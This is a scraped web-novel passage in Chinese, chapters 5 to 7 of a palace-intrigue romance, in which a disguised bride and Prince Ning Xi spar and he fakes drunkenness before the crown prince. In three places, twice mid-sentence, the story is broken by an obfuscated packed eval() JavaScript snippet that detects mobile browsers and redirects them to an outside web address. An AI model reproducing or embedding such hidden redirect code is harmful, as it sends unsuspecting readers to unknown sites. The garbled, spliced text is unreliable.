一位小婢女提着灯笼为万姝丹照着路,万姝丹问:“殿下住的院子叫什么?” 寻夏说:“回王妃,是岁安院。” “岁安院,岁安堂?” “是的。”寻夏走入抄手游廊,“只有这个院子的院名与主屋名字是一样的。” 顺着游廊拐了个弯,就看到一个院门,院门上本该有匾额的地方空空如也,万姝丹扫了一眼,没有言语。 寻夏又说:“这个院子与岁安院其实只隔了一堵墙,王妃请,这边有浴桶,热水已经备好了,您先稍作休息,一会儿您的东西就拿过来了。” 万姝丹正要进偏堂洗一洗,就见寻夏侍立在门外,“你不是殿下院子里的?” 寻夏回说:“我原是殿下的贴身婢女,如今归王妃了。” 万姝丹不再多问,宁熙既然如此安排,那就随他。她褪去衣衫,进了浴桶,热气氤氲之间,她想起今晚的种种不禁微微皱眉。 自从他们得知京城中有江湖势力之后,沈济之问过她的意愿,是否可以替代秦可兰嫁入安王府。正是那时候,他告诉了万姝丹七年前在褚城遇见的那个人就是宁熙,也将宁熙这些年的近况简单说了说。当时他们在褚城的布置已经妥当,该到京城完成最后的棋局。万姝丹自然答应了这件事,她素来最听沈济之的话,服从他的调令。 事情确定之后,万姝丹出于好奇心问过沈济之,为什么褚王要将秦可兰一直藏在闺中,这么巧就利于他们的行动。 沈济之当时看向远方,叹了口气,“其实我在几年前到过褚城,见过褚王。家父与褚王是旧识,他惊讶于我还活着,在听过我这些年的经历后,就将秦可兰托付与我。或许褚王在秦可兰出生前后就察觉到了什么,因此才会有那些传言,希望能保护好她吧。” 所幸万姝丹身形与秦可兰相似,她在百忙之中还要抽出时间学习宫里的规矩,学习亲王婚礼的礼仪。那可真是一段忙碌的日子,还好沈济之在她小时候就教过她许多规矩,万姝丹也受沈济之的影响很深,所以礼仪方面的东西她掌握得最快也最好。依照二哥的推测,她多半无法从宫里出嫁,然而多准备一手总归是没错的。在听到要直接被抬进安王府时,万姝丹很平静,毕竟她没有过期待。 可是宁熙…… 万姝丹摸了摸自己的耳垂,宁熙自从七年前回到京城后,境遇可谓一落千丈,即便有长公主还在护着他,可长公主护他一时,护不了他一世。而且也有许多事情是长公主左右不了的,宁熙就让自己沉了下去。沈济之也说这是唯一的办法了。万姝丹得知这些事情后,颇有些遗憾,七年前宁熙一身武艺和自己平分秋色,他的老师一定很厉害,若是这些年一直精进,肯定要比自己更加出色。万姝丹的轻功已经登峰造极,她又不以力量取胜,早就进入了瓶颈期,还未遇到机遇再进一步。 可惜了。 正是由于万姝丹对宁熙的惋惜之情,让她做出了要帮助宁熙恢复身体的决定。 就是不知道能做到什么程度,万姝丹想,还是需要让四哥看一看才好。她又忽然想到,来京城之前,四哥塞给她许多瓶瓶罐罐,告诉她每一样东西是什么、怎么用,难道二哥早就考虑到这一点了? 万姝丹边思考着,边从浴桶里起身,拿过一旁架子上的布巾擦拭身体。穿上衣服后,她擦着头发出了门。寻夏站在门外,见她出来了,问:“王妃可需要用点什么?” 这打断了万姝丹的思路,她迈进主屋,想了想说:“来一碗奶酪吧。”在褚城生活三年,她也习惯吃奶制品了。 寻夏应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920215|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,去吩咐小厨房了。 万姝丹坐在贵妃榻上,缓缓梳理着自己的头发。这间屋子里的气味与岁安堂不同,岁安堂里是木头散发的原味,这里则是点了熏香。万姝丹四处看了看,在桌子上看见了香炉,不大不小,精细雕刻着繁复的镂空花纹,此香香馥且味有余韵。万姝丹颇有点喜好这种雅具,她自己不懂调香,但只要看见香炉摆放在那里,心里就变得很平静。沈济之是会调香的,他调香时会把自己关在屋里,任何人都不允许靠近。然而自从被万姝丹撞破一次之后,就再也不见沈济之调香了。 她现在还记得当时屋子里充斥着的香味,仓皇之中好似身处桂殿香阁。此后,她再也没有闻到过类似的香气。 万姝丹打开香炉的盖子,里面是隔火砂片,砂片下面是煨炭,半埋在炉灰中,上面的篆香呈“喜”字,香粉薄而腻理,色正紫黑①。她又仔细闻了闻,确认此香与宁熙身上的气息是一致的,同七年前一模一样。 寻夏很快就回来了,万姝丹接过小碗,看着那香炉问:“我好像不见岁安堂里有香炉?” “殿下十二那年不喜熏香了。” 万姝丹用小匙搅着奶酪,“殿下还懂调香?” 寻夏回道:“殿下精于此道呢。蓝妃当年很喜欢熏香,殿下特意去学的,这王府内所有的香都是殿下调的。” 万姝丹又问,“可我闻着殿下身上还有这种香味?” 寻夏如实说:“殿下虽然不喜欢熏香,可依然让婢子们用紫茸香熏衣,不过熏完后要散几天味道才会穿上。如果不是离得近,是闻不到香味的。” 原来是叫紫茸香,万姝丹想。 她转头用眼神示意桌上的香炉,“那这香炉是?” 寻夏说:“只有常年不住人的院子才会熏香,这也是紫茸香,只不过七年前经殿下改进后,香味浅淡了许多。” 万姝丹点点头,她吃完奶酪漱了口,就进了内间。里面一张雕花大床,旁边燃着龙凤烛。万姝丹上了床,放下了床帏,光亮立刻暗了。 待她躺下后,想起这一晚,也算是按计划进行中,只是没想到宁熙竟然还记得自己。一上来就出现一个很大的变数,万姝丹细细回忆一遍沈济之告诉她的那些内容,又想了想七年前发生的事情。然而毕竟过去了那么久,一些细节在她脑海中变得模糊。万姝丹颇有些无奈,不过有一件事是可以肯定的,这七年来宁熙变了很多。七年前那个时候,他刚遭逢大难,还有着一副少年心性。现在的宁熙,让万姝丹觉得陌生了许多,他变得更能忍耐,更加深沉,也更阴晴不定了。 如今让他得知二哥就在京城中,万姝丹有点担心,宁熙太需要一个突破点了,他太渴望了。虽然今晚他没有过多的表现,可万姝丹不相信一个穷途末路的人,在看到希望时会无动于衷。 那他会怎么做呢? 万姝丹琢磨不透。 她的目的来意倒是让宁熙猜了个准,她却猜不出他的想法。这种不平衡的关系,让万姝丹决定要好好留心一下,看看能不能找出宁熙的软肋。彼此都有把柄在彼此手中,这样才会更安全,谁都不敢轻举妄动。 5. 进宫 早上万姝丹醒的时候,距离天亮还有一会儿,常年的习惯让她保持了良好的作息。万姝丹睁开眼,挂好床帏。她从内间走出来,寻夏已经候着了。 “王妃?可要用些什么?” 万姝丹摆摆手,“不用了,进宫回来再说吧。” 她走出屋门,折下一枝红叶碧桃,开始了晨练。她的一招一式都很简洁流畅,寻夏站在廊下默不作声地观赏着。 过了一会儿,寻夏看了看天色,“王妃。” 万姝丹收招,“时间到了?” “该换衣、梳妆了。” 回到内间,繁复的宫装一件一件穿上。万姝丹还是不太适应这种衣服,沉重累赘。她受沈济之的影响,更偏爱简洁的样式,且一律都是浅色。昨晚那件绛色细裥裙还是大哥送给她的,慕青常说女郎身上的衣衫颜色就该丰富多彩,不要总是学沈济之,除了白就是青碧。一开始万姝丹把这句话全当耳旁风,慕青每次回谷拿回来的衣服,她总是搁置在箱子底。随着年岁渐长,她的喜好也发生了改变,后来的她已经无所谓穿什么颜色的了。慕青带回来的那些都是颜色丰富,款式还是比较简单。万姝丹的三哥颜宥泽送给她的衣衫,不仅颜色艳丽,样式也更复杂一些。 不过这些都无法与宫装相比。万姝丹觉得这身衣服穿上,想不端庄都难了。所幸万姝丹从小受沈济之教导,在江湖能混得如鱼得水,进王府也能做得了世家贵女。这两种气质在她身上融合得很好,宫装在身,倒真像是个郡主。 发饰都戴好后,妆也画上了,万姝丹看了看镜中的自己,转身出了屋门。虽然她只走过一次,但万姝丹认路能力很强,一个人走在前面路过了岁安院。寻夏在院门口往里面看了看,小跑两步跟上万姝丹,“王妃,不等等殿下吗?” 万姝丹头也不回,“我去马车上等殿下。” 出了府门,万姝丹一眼就看见了侍卫中的持剑人,她多打量那人几下,随后掀开车帘,坐在了榻上。 马车里布置得很舒适,一侧的小几上放着茶壶,万姝丹伸手碰了碰,是温热的。 这时听得外面传来脚步声,紧接着帘子被掀起,宁熙进了马车。万姝丹迎着他的视线,也看着他。宁熙像是昨晚什么都没发生一般,笑着说:“怎么不来找我一起?” 万姝丹胡说道:“路过殿下院子时,见里面没动静,就没进去打扰殿下。” 宁熙坐在了她旁边,今日他也是一身宫装。万姝丹轻轻动了动鼻子,闻到了那熟悉的紫茸香,看起来这件衣服也被熏过香了,味道很淡。 “殿下身上的气息很熟悉呢。” 宁熙拿起茶壶倒了两杯,“怎么说?” 万姝丹拿起另一杯,抿了一口,“和七年前一模一样。” 宁熙明显顿了一下,“我还以为你不记得了。” 万姝丹没打算隐瞒,“别的事情或许有些遗忘,可我对气味比较敏感。尤其是,殿下身上这香,我可没有在别的地方闻到过,当然会印象深刻一些。” 宁熙说:“原因很简单,这香是我自己调的,你自然不会在别的地方闻过。” 万姝丹装作略微惊讶的样子,“殿下还真是多才多艺。” 宁熙表情看不出变化,还带着微笑,“我少年时比现在活泼一些,对很多事情都有兴趣。” 见宁熙有问必答,万姝丹反而不说话了。 宁熙没打算放过她,“你怎么不说话了?没有别的想问的了?” 万姝丹理了理衣袖,“没有了。” 宁熙又说:“你就不好奇吗?” 万姝丹当然知道他是什么意思,“好奇心本身是个好东西,然而好奇心太旺盛,可是没什么好处的。” 宁熙低低笑了,“你说得挺有道理的,可我不怕。你倒是说说,对我有什么坏处?” 万姝丹暗自磨了磨牙,“殿下如此聪慧,自己也能想明白的。” 宁熙说:“我也会有许多想不明白的事情,比如这道题是你出的,答案也由你确定,我如何能知道?” 万姝丹见躲不过去了,伸出手。 宁熙有些疑惑,“嗯?” “手。” 宁熙没有犹豫,将右手放在万姝丹的掌心。 她看见宁熙手腕上缠着的白色绑带,“缠着绑带,这只手能用到什么程度?” 宁熙平静地说:“不及以前一半。” 万姝丹颔首,“这已经恢复得很好了。” 她动手开始拆下绑带,陈旧的伤疤出现,不长,她轻轻摸了摸。 宁熙的眼睛眨了两下,他靠近万姝丹,“你摸什么呢?” 万姝丹快速缠好绑带,和他拉开了距离。 宁熙看着自己的手腕,点了点她的手腕,“是同一个人治的?” 万姝丹撩开袖子,露出了那个圆形的疤痕,“是。” “好像叫愈清?” “嗯,是我四哥。”万姝丹把手缩回袖子里。 宁熙有了兴趣,“四哥?沈济之是你二哥,你还有个大哥和三哥。” 万姝丹点点头当作回答。 宁熙继续说:“你们的姓不同,没有血缘关系,更偏向于一个江湖组织。我对沈济之有些了解,他这些年在江湖有了自己的势力,就像当初为我治伤的那个医术极好的人,还有你。景煜说你轻功出众,你说你叫万姝丹,不知除了这些,我还能知道些什么?” 万姝丹想了想,说:“拿你那支黑簪来交换。” 宁熙看她一眼,“你不是有自己的武器吗?你的那把刀并非俗物。” 万姝丹说:“正因为那把刀并非寻常之物,所以它比我出名,在京城里我不能用它。” 宁熙把玩着腰带上悬挂的玉佩,“想从我这里讨要东西,得看你提供的消息有多少。” 万姝丹感到不可思议,“殿下可真是不吃亏,精打细算的好手。东西我还没见过,你就想着要卖个好价了。若是我说的消息不符合你的预期,殿下是不是打算赖掉啊?” 宁熙轻笑,“你七年前已经见过了那支黑簪,还留下了痕迹,你觉得它值不值得高价?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920216|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万姝丹伸出手,“一手交钱,一手交货。” 宁熙将玉佩解下,放在万姝丹手上,但他的手也没有松开,仍抓着那枚玉佩,“说吧,先用这枚玉佩抵押。” 万姝丹昨晚见过这枚玉佩,“殿下的贴身玉佩也拿出来做交易?” 宁熙说:“这样就不会怀疑我能赖账了吧?” 万姝丹说:“我的来历,其实我自己也不知道。大哥说过他是从一场大火里将我救出的,那年我只有三岁。我是被四位哥哥带大的。大哥武艺很好,我跟他学过一些。二哥教我读书识字,授我诗书礼仪。四哥想过要教我医术,可惜我没那个天分。” 宁熙挑眉,“就这些?” 万姝丹慢慢看他一眼,“就这些内容,殿下也可以做一番分析了,我很想听听殿下能猜出什么。” 宁熙正想要说什么,万姝丹拦下他,“慢着,先把玉佩给我,说好了一手交钱一手交货,我还没拿到货呢。” 宁熙妥协,“好好好,给你。” 万姝丹接过一看,掌心里是一根编织的穗子,宁熙不知道什么时候将玉佩上的穗子拆下来了。她看着那根穗子,抬眼看向宁熙,露出一副果然如此的表情。 宁熙愉快地收回玉佩,“别这么看我,你说的那些内容,也就值这一根穗子。” 万姝丹将那根穗子放进怀里,“能从殿下这里拿到点什么东西,真是不容易。” 宁熙摩挲着玉佩,“沈济之教了你很多东西,你在这京城高门里也能适应,可见从小就沉浸在这样的氛围里。这是不是能说明沈济之早有准备。” 万姝丹轻哼,“殿下这次猜错了。我以前学规矩时,二哥说他将我视作亲妹妹,用的是他家的家教,他希望我多学一些,遇到特殊情况时,也能应付得来。不过呀,依我看,还是学一学商家女好一些,这样就能跟殿下讨价还价了,也不至于被一根穗子忽悠了。” 宁熙但笑不语。 万姝丹睨他,“殿下这是也觉得自己做得过分了?怎么不说话了。” 宁熙掀开一角车厢上的小帘,他没有回答万姝丹的问题,反而继续说:“快到了。沈济之将你教得这样好,怎么舍得送你进京,到这种是非之地?” 万姝丹轻轻摸过一遍自己的发饰,检查是否有掉落,“二哥想要做的事情,我作为他的五妹,肯定要全力支持。别说京城这种是非之地了,就是刀山火海我也不会怕。” 宁熙不带任何感情地说:“王妃真是好胆量。” 万姝丹整理着自己的衣服,“殿下过誉了。我与二哥感情一向很好,殿下难道不知道吗?” 马车停了下来,他掀开车帘,“知道,没想到这么要好。” 万姝丹起身也想下去,发现宁熙堵在马车门口。她刚要发问,就见宁熙转过头,冲她一笑,小声说:“沈济之这么放心你进京跟在我的身边,看来你随机应变的能力也很不错吧?” 什么? 万姝丹一脸莫名地看着宁熙下了马车。 他又要做什么? 6. 罚跪 宁熙下了马车,他的手保持着掀帘的动作,见万姝丹没反应,往里看了一眼。万姝丹瞪他一眼,起身下车,宁熙的另一只手适时伸来,要万姝丹借他的力下车。万姝丹盯着那只指骨修长的手,轻轻将自己的手搭了上去。 下了车,晨光熹微里,万姝丹抬眼就看见了高大的宫墙,阻挡了本就不明媚的光线,落下了一地晦暗。宫门外正有监门卫在值守,万姝丹只看了一眼就低下头。宁熙这时候将掀帘的那只手放下,压在万姝丹的肩膀上,然后就见他似乎是没站稳,往一侧歪去。万姝丹下意识就伸手扶住了他,她莫名其妙看着宁熙,嘴唇微动,“你这是干什么?” 宁熙故作神秘,“一会儿你就知道了。” 守卫承天门的右监门卫将军武进业行礼,“见过五殿下,安王妃。” “将军今天值班啊。”宁熙笑着回了一句。 “臣不敢,殿下请。”武进业并没有多看宁熙。 宁熙半靠在万姝丹身上,往里走去。 万姝丹同他咬耳朵,“你这是装醉酒吗?可你身上都没有酒味。” 宁熙声音低低的,“谁说的,我出门前特意喝了几杯。” “嗯?”万姝丹的鼻子动了动,“没有,我没闻到。” 宁熙轻笑一声,“那酒是闻不出来的。” 万姝丹明显不信。 “不信?你抬头看看我的脸是不是挺红的?” 万姝丹闻言抬起了头,果然看见宁熙的双颊泛红,她讶然,“你?怎么做到的?” 宁熙垂首看她,“想知道?昨日你那支金簪就挺不错的,拿来换?” 万姝丹转过头不理他。 正说话间,又进了一道门,离二道门还有些距离,就见一个内侍快步走了过来。 “哎呦我的殿下,您这是怎么了?” “苏内侍!我早上一高兴小酌了几杯,特意洗了洗,怎么样,身上没味儿了吧?” 苏尚连忙扶住宁熙挥舞的那只手臂,“殿下,殿下!可您还要见驾呢,脸这么红怎么行?” “没事,咱不坐轿子,你扶着我走过去,就差不多了。”说着就松开了万姝丹。 万姝丹知趣落后两步,一群宫人跟在后面,全都低着头,默不作声。 “那殿下辛苦些,今日没有早朝,陛下在紫宸殿呢。” “好好,咱们走。” 宁熙一边走一边嘴不停,“陛下今日心情怎么样?” 苏尚笑着说:“正值殿下大婚,陛下心情能不好吗?” 宁熙哈哈大笑,“心情好就行,好就行!” 一路上,宁熙的嘴就没停过,跟苏尚你一言我一语的。 到了紫宸殿,宁熙自己站好,摸了摸脸,“怎么样?” 苏尚看了看,点点头,“是好些了,还是殿下有办法。” 万姝丹听在耳里,忍不住腹诽,这个宁熙,惯是会作戏的! 宁熙调整好自己,一步一步走进紫宸殿,那样子看起来还真像那么回事。 整个过程进行得很快,武帝和关皇后好像都有点心不在焉。直到临走时,万姝丹不动声色抬头看了一眼,武帝的脸色稍显疲倦却掩不住眼神里的兴奋,关皇后则是有些愁容。万姝丹分神地想,皇帝心情确实挺好,但好像不是因为宁熙大婚。她悄悄瞥了一眼宁熙,见他依旧规矩,并无其他不妥,便也低下头。 走出殿门,苏尚跟着走了出来,宁熙摆摆手,“可兰第一次进宫,我带她转转。”说完继续把手臂放进万姝丹手里。 万姝丹不得不接住那只手臂,她面上保持着微笑,手在袖子里默不作声掐了宁熙一下。宁熙转过身来,轻轻拍一下她的小臂。 俩人在宽大的衣袖里较着劲。 万姝丹还能分神悄悄问:“你装这一场有什么用?我见皇上心思都不在这里。” 宁熙脚步有些虚浮,走得一脚深一脚浅,斜斜歪歪地,“很多事情不一定要求有一个结果,如果碰上了最好,没碰上就当作是熟悉熟悉流程。” 万姝丹无言,“原来你这么会逢场作戏,全是一次一次练习出来的。不过,你能不能不要晃得幅度那么大?踩到我的裙子了。” 宁熙口齿清晰地说:“就当你在夸我了,下次可以直接夸,不要冷嘲暗讽。” 也不知道走到了什么地方,从北方传来了阵阵丝竹声,伴随着女郎清脆的笑声,似乎有一场宴席正在墙那边大肆举办着。 万姝丹朝那边看了两眼,她听到了谈笑声,“那边在做什么?” 宁熙也看过去,他压低声音说:“那边就属于内宫了,皇上这两年越发喜欢饮酒作乐,也不上早朝了。没想到这么早就开始了,也不知道是不是彻夜未眠。” 万姝丹想了想,“有可能,我刚看武帝脸色并不太好。”她又拽了一下自己的裙脚,“咱们在这里到底在转什么?” 宁熙带着她又拐了一个弯,“刚才说不一定求结果,但是也要去碰一碰啊,万一让我碰上了,那这一场戏不就有用了。”他注意到自己又要踩到万姝丹的裙摆,轻轻替她提了一下裙子。 万姝丹没有注意到他的动作,她被眼前的景色吸引了。 面前的宫道干净肃穆,里里外外都透露着皇权的威严,就连那些植株都不能淡化这种感觉。宁熙站在原地,停留一会儿,眯着眼睛不知道在看什么。万姝丹随着他的目光看去,太阳在他们身后升起,面前一片金光坦途。她想着,这种时候若是能站在宫墙上,一定能俯瞰整座京城吧。这宫城里的殿宇如此伟岸,站在下面只能看见其中一角,登高望远,从高处看宫城,肯定会比下面的景色要更美丽。 万姝丹想着想着就问:“站那宫墙上能看全整座京城吗?” “不能。”宁熙顿了一下,“你想要俯瞰整座京城,在城里是无法做到的,因为不允许建那么高的楼。在那宫墙上,只能看到大半个宫城。” 万姝丹颇有些遗憾地看着那宫墙。 宁熙迈开步子,“走吧,估计今日是碰不上了。” 万姝丹好奇得心里有些痒,“你到底在碰什么?” 宁熙说:“想知道?还记得我刚才的条件吗?” 这时,前面的宫道上转来一行人,为首的那个穿着明黄色的蟒袍。 宁熙立刻俯首,贴着万姝丹的耳朵说:“便宜你了。那个就是太子宁郅,你一会儿见机行事。” “什……” 万姝丹还没说完,宁熙就从她身上晃晃悠悠站直了,他快走了几步,路都没走直,脸上带着笑,嘴里说着:“大哥……”就要行礼,结果一个趔趄,摔在了宁郅身上。 “殿下!” “太子殿下!” “……” 事发突然,所有人都吓了一跳,万姝丹颇为无奈地看着齐齐摔在地上的那二人。宁郅结结实实摔在了地上,宁熙则是一半摔在宁郅身上,一半悬空,正要往地上翻去。 万姝丹在太子和自己身后那些宫人迈步之前,就三步并作两步走了过去,跪在地上,把宁熙从宁郅身上拉起来,扶住他,宁熙顺势靠在万姝丹身上,一副不胜酒力的样子。 “大……哥,妾身从家里带来两坛自己酿的酒,昨日见五郎喝太多就作罢了,今日一早想让他尝一尝,没想到五郎很喜欢,多饮了几杯,冲撞了大哥,这都是妾身的不是,若是……” 宁郅被宫人们扶起来,他没有揉任何地方,摆了摆手,憨笑说:“无妨,你带着五弟快回去歇着吧。”说完他就一瘸一拐地要走。 万姝丹回头看了一眼,没想到这么容易就放过了宁熙,看来这太子确实如传言所说。她一个人将宁熙从地上拉了起来,他配合着站起来,回过头,嘴里还喊着:“大哥有空来我这喝酒!大哥!大哥你一定要来啊!大哥!” 万姝丹转过头看去,宁郅居然停下了脚步,朝这边挥了挥手,两只手圈在嘴前,喊道:“知道了——” 万姝丹强行按住他,将他往宫门口拖去,“这就是你说的?” 宁熙嘴角含着不太明显的笑,“今天运气还不错,让我碰到了。” “你干嘛要撞他啊?” 宁熙心里高兴,脚步都轻快了一些,“想知道?你拿什么来交换?” 万姝丹偏偏不如他所愿,“那我不想知道了,反正早晚会知道,我才没有那么好奇。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920217|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 苏尚一路回到临水殿。 这殿外是一条人工开凿的河,叫金水河。因为京河地势低,而皇城地势稍高,所以在京河上架设了一个巨大木槽,洛河的水通过木槽进入金水河,灌入宫城后苑的几处池塘,最后从东面汇入定河。 此时金水河边正歌舞不断。武帝坐在其中,左拥右抱,脸上极尽快活之意。陪侍在旁边的是一群翰林学士,他们自从年初在武帝面前得了青睐,一直到现在都时常召见他们,让他们写诗作赋。其中有以文辞见长的学士,诗赋写得极好。尤以高文期为佳,一篇赋通篇对偶,瑰伟绝特,描写婉丽,璧缀珠联,更能别开生路,抚今思古,吊往追来。因此深得武帝喜爱。 就在这个时候,南芸带着皇孙李衍来了,也不管这里正在做什么,直接跪在武帝面前,高喊:“父亲!” 武帝见到皇孙被带来了,有些吃惊,忙撒开怀中的美人,示意内侍将皇孙带到自己面前。他将皇孙抱到自己的腿上,慈爱地摸了摸他的小脸,这才说:“芸儿?这是怎么了?起来说话。” 南芸磕了个头,“父亲要为儿做主!方才五弟在宫道上冲撞了二郎,竟直直摔在他的身上!二郎为人忠厚不曾训斥,可五弟也十九了,二郎又贵为太子,如此这般实在有违礼仪之道,他分明是不把二郎放在眼里!二郎日日刻苦念书只为为君分忧,五弟却仍旧这般不服管教、恣意妄为,实是辜负了父亲的教导。父亲!” 武帝由笑转怒,喝道:“胡闹!” 这时一旁有翰林学士发问:“好端端的,五殿下怎么会摔到太子殿下身上?” 南芸说:“有内侍看到五弟走路不稳,一开始还让弟妹搀扶着,见到二郎后是自己走过来的……” “这,难不成五殿下这是喝醉了?” 南芸说:“弟妹从自家带来两坛酒,今早让五弟喝了两杯。他们分明知道今日要进宫,却还在早上喝酒,父亲,这是不把您放在眼里啊!” 武帝沉下声音,“苏尚。” 苏尚连忙跪下,“老奴早上见殿下时,殿下确实有些脸红。” 南芸说:“父亲!五弟婚后竟还这般不知轻重,分明是目无君父。我儿年纪还小,若是他父亲被五弟撞出个好歹,我儿可怎么办啊!” 听南芸提到了皇孙,武帝的脸色更加难看,“让宁熙去紫宸殿前跪着!” * 他俩一边小声拌嘴,一边走出第三道宫门。刚走到第二道宫门,一个内侍小跑着过来,“殿下,王妃,皇上请殿下去紫宸殿。” 宁熙扶着万姝丹的手臂站直,不着痕迹地拍了拍,示意让她先走。 万姝丹走出承天门,武进业看见只她一人出来,没多大表示,“王妃。” “将军。” 景煜站在稍远的地方,没看见宁熙,皱起了眉。 万姝丹走过去,景煜拉开车帘,让她上了车,他自己则在马车走动后,从另一侧上了车。 “怎么回事?”景煜问。 万姝丹与他说了经过。 “殿下真是……” 万姝丹插话道:“他提前跟你说了吗?” “没有。”景煜摇头,“不过,昨日婚宴上,三殿下和四殿下都来了,他们来祝贺殿下,殿下自然流露出了春风得意的样子,也许今日所为是延续昨日的状态,可能最多就被皇上罚一下。如果是这样,被罚一下也是好事,那两边就不会一直盯着咱们了。” 万姝丹问:“盯着咱们做什么?” 景煜说:“殿下新婚之后,肯定要授予官职。之前三殿下被封洛州大都督,四殿下封颍州大都督,六殿下封汝州大都督。与其让别人寻错,不如自己找错。太子敦厚,倒是无妨,只是太子妃恐怕不会将此事轻轻揭过。” 万姝丹问:“那怎么办?” 景煜看向她。 万姝丹先是困惑了一下,然后明白了,“原来在这儿等着我。他既然敢这么做,会不给自己留退路?” 景煜说:“王妃……” 万姝丹制止住他的话,“我倒要看看他能如何从宫里出来。这附近可有什么吃的?早上起来后我还没吃饭呢。” 7. 长公主 景煜心里着急,可是也没有什么办法,他驱着马车到了卖早点的街上,此刻街上人来人往。 万姝丹掀起帘子左右看看,她看见景煜犹豫的脸,“出门在外,唤我五娘即可。” “五娘,您想吃什么?” 万姝丹看着众多的小摊,“你有什么推荐?” “五娘若是吃惯北地的吃食,可以去前面那家王记。若是想尝尝南边的,就旁边这家柳记。” 万姝丹看了看,“既然都到京城了,就试试没吃过的吧。” 景煜指着旁边的店铺说:“五娘可以尝尝这一家的曼陀样夹饼、蟹黄毕罗、滑饼。” 万姝丹听从了他的建议,又要了一份杏汤。 景煜下了马车去买,将吃食装进食盒,随后他驱着马车走上了回王府的路。 半路上,景煜犹豫着开口说:“五娘……” 万姝丹隔着帘子问:“怎么?着急啊?”她凑近车帘,压低声音,“你倒是没怎么变,在京中这些年过得可好?” 景煜没想到会问起自己,怔愣一瞬,“谢五娘关心,这些年郎君待我很好。” 万姝丹挑眉,“他倒是信任你?” 景煜犹豫两下,“这些年,郎君过得很不容易……” 万姝丹中止了谈话,“先回王府吧。” 此时她的心中已有了计较,她摸摸自己的鬓角,既然宁熙要试探他们在宫中有没有眼线,那就送宁熙一份大礼,正好看看这京城里唯一敢明面上关心爱护宁熙的人,是不是宁熙的软肋。 想好了这一件事,她下马车时,脚步都轻快了许多,一路走回熹微院。景煜跟在她的身后,见万姝丹进了主屋,他在门口停下了脚步。 万姝丹回头看了一眼,“进来吧。”说罢率先坐在桌旁。 景煜进来后,目不斜视,杵在桌子旁边。 寻夏从他手中接过了食盒。 “站着干嘛?坐下。” 万姝丹看了一眼,见景煜坐下了,就把纸笔推到景煜眼前,“你写。” 景煜拿起笔,等着万姝丹的话。 万姝丹盯着他说:“写啊。” 景煜:“?” 万姝丹莫名其妙,“把之前说的那些写下来就行,随便写,没规矩。” 景煜简单写好,万姝丹将纸拿过,扫了一眼内容,从头上将那枚金簪取下,一并给了景煜,“金川楼二楼东南角,点一壶不知春。” 景煜接过,出了屋门,唤来了一身侍卫装的持剑人,“你换身常服。” 待他走后,万姝丹问:“这就是昨晚那人吧,他叫什么?” 景煜回道:“宥津,本姓颜。” 万姝丹缓慢点了点头,她脸上挂着微笑,唤了寻夏,走进了内间。她一边照镜子,一边卸去头上复杂的发饰。 寻夏帮她打理着头发,“王妃好像心情很好。” 万姝丹披着头发,“进了宫,见了皇上,就可以歇息一段日子了,能不高兴吗?”她从衣箱里选了身便装,浅蓝色的窄袖上襦,白练裙。接着她让寻夏挽了个简单的发髻。寻夏手脚麻利,将万姝丹的那支金簪插进了发髻中。 “王妃可要用餐?” 万姝丹颔首,寻夏将吃食从食盒中取出,她一眼就认出了,“这是柳记的,他家的饼很好吃。” 万姝丹轻笑,“看来这家的吃食挺有名嘛,你也坐下来吃点。” 寻夏谢过后,坐了下来。 万姝丹随手将从宁熙那里要来的穗子放在碟子边。 寻夏见了,微微睁大眼睛,她脸上带着惊喜,“呀,这是殿下给您的?” 万姝丹有些疑惑,“你怎么知道?” 寻夏笑眯眯地说:“我也是听长公主说的,殿下幼时弄丢过玉佩上的穗子,十分伤心,央求蓝妃为他再编一个。蓝妃却问他要不要自己学,学会了之后就不怕丢了。” 万姝丹将那根穗子拿起,放在眼前,“所以这是殿下自己编的?” 寻夏点头,“听说殿下编了许多,这应该是其中一个。” 万姝丹纳闷,“殿下编的穗子有什么独特的地方,能让你一眼认出来?” 寻夏接过穗子,指了指中央的地方,“这种打结的手法是长公主惯用的,蓝妃也是从长公主这里学去的,因此婢子认得。” 万姝丹掩唇一笑,“原来是这样,那我可得留好了。” 用完餐后,万姝丹将穗子缠在秦可兰的玉佩上,放进怀里。 时值春日,王府里花开正好。万姝丹来了兴致,她还没有好好逛过王府。 出了熹微院,穿过直道与复廊,面前是一间四面厅,这四面厅自带一个小院落,□□里两株黄杨一左一右,沿复廊参差着天竹与女贞。在这一片绿意中摇曳着许多春花,几株玉兰层出其间,四周绕以桃花数种,平常如粉红、粉白、深粉红三色,其外有单瓣大红、单瓣白桃、千叶红桃、千叶碧桃,还有一种千瓣绛桃,极尽雅致。 寻夏见万姝丹看得认真,不由得发问:“王妃可是喜欢桃花?” 